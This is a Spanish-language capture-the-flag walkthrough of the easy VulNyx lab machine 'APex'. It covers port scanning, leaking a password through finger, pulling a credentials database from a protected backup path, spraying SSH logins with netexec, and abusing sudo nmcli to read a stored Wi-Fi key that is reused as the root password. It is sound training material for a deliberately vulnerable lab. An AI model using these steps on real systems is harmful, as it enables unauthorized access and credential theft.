VulNyx - APex
Information
APex es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.

Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 11:22 CET
Nmap scan report for 192.168.1.43
Host is up (0.0012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
79/tcp open finger
80/tcp open http
❯ nmap -sVC -p22,79,80 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 11:25 CET
Nmap scan report for 192.168.1.43
Host is up (0.00044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: The all seeing eye...
|_http-server-header: Apache/2.4.62 (Debian)
Shell (seth)
80/TCP (HTTP)
Site (/)

Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.43/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.43/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/backup (Status: 401) [Size: 459]
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================
Site (/backup)
La ruta /backup se encuentra protegida por un auth_basic, realizo técnicas de password guessing sin éxito


OSINT
Enumero a horus como nombre de usuario mediante búsqueda inversa sobre la imagen en Yandex

79/TCP (FINGER)
Me conecto al servicio finger con el usuario horus y obtengo un password
❯ finger horus@192.168.1.43
Login: horus Name:
Directory: /home/horus Shell: /bin/bash
Never logged in.
Mail forwarded to horus@point.nyx
No mail.
PGP key:
personal notes: H0Ru$$3rv3
No Plan.
80/TCP (HTTP)
Site (/backup)
Vuelvo al sitio web a la ruta /backup y accedo con las credenciales obtenidas horus:H0Ru$$3rv3

Encuentro el archivo database.db que parece una exportación de una DB tipo sqlite3
❯ wget -q "http://192.168.1.43/backup/database.db"
❯ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3046001, file counter 5, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 5
Database Dump
Obtengo credenciales de varios usuarios en la tabla users
❯ sqlite3 database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|anubis|L44NxKRnP7wxrBsxibpDORySkbEHRO
2|amon|xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
3|seth|Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
4|osiris|ITA96l3isg4uV2Sm8eYn41XVfxprFy
22/TCP (SSH)
Password Brute Force
Creo una wordlist con los usuarios y otra con los passwords
❯ cat dump ; echo
1|anubis|L44NxKRnP7wxrBsxibpDORySkbEHRO
2|amon|xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
3|seth|Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
4|osiris|ITA96l3isg4uV2Sm8eYn41XVfxprFy
❯ cut -d '|' -f 2 dump |tee users.dic
anubis
amon
seth
osiris
❯ cut -d '|' -f 3 dump |tee pass.dic
L44NxKRnP7wxrBsxibpDORySkbEHRO
xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
ITA96l3isg4uV2Sm8eYn41XVfxprFy
Obtengo éxito con las credenciales del usuario seth con netexec
❯ netexec ssh 192.168.1.43 -u users.dic -p pass.dic --continue-on-success
SSH 192.168.1.43 22 192.168.1.43 [*] SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
SSH 192.168.1.43 22 192.168.1.43 [-] anubis:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH 192.168.1.43 22 192.168.1.43 [-] amon:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH 192.168.1.43 22 192.168.1.43 [-] seth:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH 192.168.1.43 22 192.168.1.43 [-] osiris:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH 192.168.1.43 22 192.168.1.43 [-] anubis:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
SSH 192.168.1.43 22 192.168.1.43 [-] amon:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
SSH 192.168.1.43 22 192.168.1.43 [+] seth:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf Linux - Shell access!
Accedo al sistema como usuario seth con las credenciales obtenidas
❯ ssh seth@192.168.1.43
seth@192.168.1.43's password:
seth@apex:~$ id ; hostname
uid=1001(seth) gid=1001(seth) grupos=1001(seth)
apex
Privilege Escalation
Enumeration
Sudo
Al hacer sudo -l parece que sudo no se encuentra instalado
seth@apex:~$ sudo -l
-bash: sudo: orden no encontrada
Puede que sudo si esté instalado pero fuera del PATH y al llamarlo de forma relativa en lugar de absoluta no lo encuentre.
Con find localizo el binario sudo ubicado en la ruta /usr/sbin que se encuentra fuera del PATH
seth@apex:~$ find / -name sudo -type f -exec ls -ld {} \; 2>/dev/null
-rwsr-xr-x 1 root root 182600 ene 21 10:49 /usr/sbin/sudo
seth@apex:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Ahora si puedo hacer uso de sudo
seth@apex:~$ /usr/sbin/sudo -l
Matching Defaults entries for seth on apex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User seth may run the following commands on apex:
(root) NOPASSWD: /usr/bin/nmcli
Abuse
El usuario seth puede ejecutar como root el binario nmcli con sudo, en el man de nmcli se puede observar que permite una multitud de funciones relacionadas con redes de todo tipo.
Listo redes inalámbricas almacenadas en el sistema y encuentro una red WIFI llamada MikroTik_AP
seth@apex:~$ /usr/sbin/sudo -u root nmcli connection show
NAME UUID TYPE DEVICE
MikroTik_AP e25d230b-bb26-4488-b2e0-1b94dac2b9cd wifi --
La red MikroTik_AP fue creada por el usuario root y otros usuarios no disponen de permisos
seth@apex:~$ find / -name MikroTik_AP 2>/dev/null
/etc/NetworkManager/system-connections/MikroTik_AP
seth@apex:~$ ls -l /etc/NetworkManager/system-connections/MikroTik_AP
-rw------- 1 root root 227 ene 21 18:39 /etc/NetworkManager/system-connections/MikroTik_AP
Al poder ejecutar nmcli como root con sudo obtengo el password de la red MikroTik_AP
seth@apex:~$ /usr/sbin/sudo -u root nmcli -s -g 802-11-wireless-security.psk connection show "MikroTik_AP"
WIFI_p@$$w0rd_is_$up3r_$3cur3
Me convierto en usuario root mediante una reutilización de credenciales
seth@apex:~$ su - root
Contraseña:
root@apex:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
apex
Flags
Ya como usuario root puedo leer las flags user.txt y root.txt
root@apex:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
c03c45**************************
cb991c**************************
Hasta aquí la resolución de la máquina APex.
Happy Hacking!